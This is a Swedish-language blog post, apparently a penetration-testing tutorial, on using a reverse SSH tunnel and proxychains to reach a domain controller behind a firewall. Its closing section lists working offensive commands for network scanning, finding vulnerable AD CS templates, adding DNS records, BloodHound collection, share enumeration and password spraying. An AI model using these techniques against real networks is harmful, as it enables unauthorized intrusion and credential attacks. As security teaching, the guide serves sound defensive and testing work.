Tunnla nätverkstrafik med SSH och proxychains

Använd den förinstallerade SSH-klienten tillsammans med proxychains för att kommunicera med resurser bakom en brandvägg.

Introduktion

SSH-klienten (ssh) kan användas för att skicka nätverkstrafik mellan enheter och finns ofta förinstallerad på arbetsstationer och servrar. Vid penetrationstester kan klienten användas tillsammans med verktyget proxychains (proxychains4) för att kringgå brandväggsregler och interagera med resurser på ett fjärrnätverk.

I detta blogginlägg presenteras en guide för hur SSH-klienten kan användas för att kommunicera med resurser bakom en brandvägg. Först kommer en kort introduktion till verktygen och sedan presenteras ett scenario följt av en guide där verktygen används. Avslutningsvis summeras de två viktigaste stegen från guiden, skapandet av tunneln och hur den kan användas.

Vad är SSH?

SSH (Secure Shell) är ett protokoll som kan användas för att skicka nätverkstrafik mellan enheter genom krypterade tunnlar [1]. Klienten kräver normalt inte administrativa behörigheter och finns ofta installerad på UNIX- och Windows-enheter. En SSH-anslutning kan skapas från en terminal med kommandot ssh.

Vad är proxychains?

Proxychains är ett UNIX-program som kan användas för att omredigera TCP-trafik genom en socks/http proxy [2]. Då SSH klienten använts för att skapa en tunnel kan proxychains användas för att skicka TCP-trafik genom denna. Ett verktyg som kommunicerar över TCP kan köras genom en proxy genom att lägga till kommandot proxychains4 innan verktygets kommando, exempelvis proxychains4 curl ifconfig.io .

Notera att det finns två versioner av proxychains, proxychains och proxychains4, där proxychains4 är den senaste versionen av verktyget och det som denna guide utgår från.

Scenario

Anta att vi har åtkomst till en Windows server (B) på ett fjärrnätverk (Remote network) och vi är intresserade av att interagera med en domänkontrollant på samma nätverk (C). Vi har även åtkomst till en UNIX-maskin (A) med stöd för SSH och Proxychains. Vidare noterar vi att:

En brandvägg blockerar inkommande trafik från A till Remote network

Brandväggen tillåter utgående SSH-trafik från B (exempelvis mot internet)

Då utgående SSH-trafik tillåts från B kan vi utnyttja detta för att skicka nätverkstrafik från A genom en SSH-tunnel till B för att interagera med C, se nedanstående bild.

Denna guide kommer att beskriva hur vi kan göra ovanstående genom att:

Upprätta en SSH-tunnel från B till A.
Använda tunneln för att skicka trafik från A genom B till C

För att göra detta kommer vi:

Konfigurera SSH-klienten på B
Konfigurera SSH-servern på A
Skapa SSH-tunneln från B till A
Konfigurera proxychains på A
Testa anslutningen från A till B
Visa proxychains exempelkommandon

Guiden utgår från att A kör operativsystemet Kali Linux. Om du följer guiden och använder ett annat operativsystem kan vissa kommandon skilja sig men stegen kommer fortfarande att vara desamma.

1. Konfigurera SSH-klienten på B

Starta kommandotolken på B och verifiera att SSH-klienten är installerad med nedanstående kommando


ssh -V

Om SSH-klienten är installerad kommer kommandot returnera den installerade SSH-versionen, se exempel nedan.


C:\Users\User> ssh -V
OpenSSH_for_Windows_9.8p1 Win32-OpenSSH-GitHub, LibreSSL 3.9.2

Skapa sedan ett nyckelpar för SSH-anslutningen till A, exempelvis med nedanstående kommando.


ssh-keygen

Kommandot genererar två nycklar (filer), en privat och en publik nyckel, som kommer användas för att upprätta SSH-anslutningen. Notera att den publika nyckeln slutar med .pub och denna kommer användas i nästa steg för att konfigurera SSH-servern.

3. Konfigurera SSH-servern på A

Installera och konfigurera SSH-servern på A. Efter installation kan vi verifiera att SSH-servern är aktiv med nedanstående kommando


systemctl status sshd.service

Om servern är aktiv kommer kommandot returnera att tjänsten är active (running), se exempel nedan


$ systemctl status sshd.service
● ssh.service - OpenBSD Secure Shell server
     Loaded: loaded (/usr/lib/systemd/system/ssh.service; enabled; preset: disabled)
     Active: active (running) since Mon 2025-06-02 10:33:09 CEST; 2 weeks 0 days ago
 Invocation: add7a5eb78c8480c9661d5b9b8b2f48e
       Docs: man:sshd(8)
             man:sshd_config(5)
   Main PID: 83583 (sshd)
      Tasks: 1 (limit: 9506)
     Memory: 5.6M (peak: 12.4M)
        CPU: 548ms
     CGroup: /system.slice/ssh.service
             └─83583 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"

Skapa sedan en användare för SSH-anslutningen (tunnel) och lägg in den publika nyckeln från föregående steg (ssh-ed25519 XXXXXXXXXXXXXXXXXXXXXXXXXXXXX user@host) i filen authorized_keys på A med nedanstående kommando


sudo useradd tunnel -s /bin/true -r
sudo mkdir -p /home/tunnel/.ssh
echo "ssh-ed25519 XXXXXXXXXXXXXXXXXXXXXXXXXXXXX user@host" | sudo tee /home/tunnel/.ssh/authorized_keys
sudo chown -R tunnel:tunnel /home/tunnel/

Notera att fältet PubkeyAcceptedAlgorithms i konfigurationsfilen /etc/ssh/sshd_config kan behöva modifieras för att stödja den algoritm som använts för att skapa nyckelparet.

3. Skapa SSH-tunneln från B till A

Skapa en anslutning från B till A genom att köra nedanstående kommando från B


ssh tunnel@host-a -R 1234 -N

Kommandot och dess argument beskrivs nedan:

ssh tunnel@host-a ansluter som användare tunnel på host-a
-R 1234 specificerar att vi skapar en så kallad reverse SSH-tunnel som lyssnar på port 1234 på A
-N specificerar att vi inte vill köra ett fjärrkommando på servern då vi endast vill skapa tunneln

Om anslutningen nådde fram kommer följde meddelande att visas första gången anslutningen upprättas.


C:\Users\User> ssh tunnel@host-a -R 1234 -N
The authenticity of host 'X.X.X.X (X.X.X.X)' can't be established.
ED25519 key fingerprint is SHA256:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])?

Accepterar anslutningen och notera att det ser ut som att programmet hängt sig. Detta är förväntat då vi skapar anslutningen med argumentet -N och vi verifierar anslutningen i nästa steg.

Kör nedanstående kommando på A för att verifiera att anslutningen skapat en listener på port 1234


ss -tnlp

Om tunneln skapats korrekt kommer kommandot visa att det finns en listener på 127.0.0.1:1234 och [::1]:1234, se exempel nedan.


$ ss -tnlp
State   Recv-Q  Send-Q  Local Address:Port  Peer Address:Port  Process

... trimmad output ...

LISTEN  0       128         127.0.0.1:1234        0.0.0.0:*
LISTEN  0       128             [::1]:1234           [::]:*

Om det inte finns en listener på rätt port har tunneln inte upprättats korrekt, då är det dags att se över tidigare steg och felsöka.

4. Konfigurera proxychains på A

Verifiera att proxychains4 är installerat genom att köra kommandot med --help argumentet på A


proxychains4 --help

Om proxychains är installerat returnerar kommandot dess hjälpbeskrivning, se exempel nedan


$ proxychains4 --help

Usage:  proxychains4 -q -f config_file program_name [arguments]
        -q makes proxychains quiet - this overrides the config setting
        -f allows one to manually specify a configfile to use
        for example : proxychains telnet somehost.com
More help in README file

Om verktyget inte är installerat kan det installeras med sudo apt install proxychains4 på Kali Linux [3]. Se den officiella dokumentationen för andra distributioner.

Konfigurera sedan den proxy som skall användas genom att lägga till den värd och port som skall användas i konfigurationsfilen /etc/proxychains4.conf, se nedanstående exempel.


# Innehållet i filen /etc/proxychains4.conf

... trimmad output ...

[ProxyList]
socks4 127.0.0.1 1234

Notera att vi specificerar port 1234 på localhost 127.0.0.1 då vi skapat SSH-tunneln på med argumentet -R 1234 och vi har en listener på 127.0.0.1:1234.

5. Testa anslutningen från A till B

Kör kommandot curl med och utan proxychains4 för att verifiera att trafiken skickas genom tunneln. Kör först kommandot utan proxychains


curl ifconfig.io

Kommandot returnerar då den publika IP-adressen för A, se exempel nedan


$ curl ifconfig.io
publik-ip-host-a

Kör sedan samma kommando med proxychains (kör kommandot med -q för att returnera mindre långrandig output)


proxychains4 -q curl ifconfig.io

Kommandot returnerar nu den publika IP-adressen för B då trafiken skickats genom SSH-tunneln, se exempel nedan


$ proxychains4 -q curl ifconfig.io
publik-ip-host-b

Nu när anslutningen är upprättad och testad kan vi använda verktyg på A för att interagera med C genom B. I nästa steg listas ett antal exempelkommandon som kan användas vid ett penetrationstest.

6. Proxychains exempelkommandon

Skanna med nmap (notera att argumenten -Pn och -sT krävs då ping ej fungerar genom proxychains och endast en TCP-connect scan gör ett fullt handshake över TCP) [4]


sudo proxychains4 -q nmap -sT -Pn host-c

Använd verktyget certipy för att identifiera sårbara certifikatsmallar i AD CS [5]


proxychains4 -q certipy find -u 'user' -p 'password' -dc-ip host-c -vulnerable

Använd verktyget ./dnstool.py för att skapa ett DNS-record i ADIDNS (notera att argumentet --tcp krävs då proxychains endast tunnlar TCP-trafik) [6]


proxychains4 -q python ./dnstool.py -u "EXAMPLE\user" --record 'my-record' --action add -data my-record-ip host-c --tcp

Hämta bloodhound data med bloodhound-ce-python eller netexec (notera att argumentet --dns-tcp krävs då proxychains endast tunnlar TCP-trafik) [7][8]


# bloodhound-python
proxychains4 -q bloodhound-ce-python -d 'EXAMPLE.COM' -u 'user' -p 'password' -c DCOnly -ns host-c --dns-tcp
# netexec
proxychains4 -q nxc ldap host-c -d 'EXAMPLE.COM' -u 'user' -p 'password' --bloodhound -c All --dns-server host-c --dns-tcp

Använd netexec för att identifiera läsbara SMB-shares på det interna nätverket [8]


proxychains4 -q nxc smb CIDR-BLOCK -u 'user' -p 'password' --shares --filter-shares READ

Använd netexec för att identifiera domänens lösenordspolicy, ta ut en lista på användare i domänen och passwordspraya användarna [8]


# Identifiera domänens password policy (exempelvis account lockout threshold)
proxychains4 -q nxc smb host-c -u 'user' -p 'password' --pass-pol
# Exportera användare i domänen till filen users.txt
proxychains4 -q nxc ldap host-c -u 'user' -p 'password' --users-export users.txt
# Password spraya användarna i filen users.txt
proxychains4 -q nxc smb host-c -u ./users.txt -p 'password' --continue-on-success

Som ni ser i exemplen ovan kräver en del verktyg extra argument då proxychains endast stödjer TCP. Kommer man ihåg detta är det enkelt, lägg bara till proxychains -q och kör kommandon som vanligt.

Sammanfattning

Nu har ni sett hur den ofta förinstallerade SSH-klienten kan användas tillsammans med proxychains för att interagera med resurser bakom en brandvägg. Det hela kan summeras i två steg:

Skapa tunneln från B till A (ssh tunnel@host-a -R 1234 -N)
Använda tunneln från A (proxychains4 -q curl ifconfig.io)

I guiden gick vi genom detaljerade steg för att verifiera konfigurationer och anslutningen men kom ihåg att det endast var dessa kommandon som användes för att skapa och använda tunneln. Hoppas denna guide kommer till användning nästa gång ni ska tunnla trafiken med SSH-klienten.

Referenser

[1] https://www.openssh.com
[2] https://github.com/rofl0r/proxychains-ng
[3] https://www.kali.org/tools/proxychains-ng
[4] https://nmap.org
[5] https://github.com/ly4k/Certipy
[6] https://github.com/dirkjanm/krbrelayx
[7] https://www.kali.org/tools/bloodhound-ce-python
[8] https://www.netexec.wiki

 Publicerat 2025-06-27 Skrivet av Jacob Wrase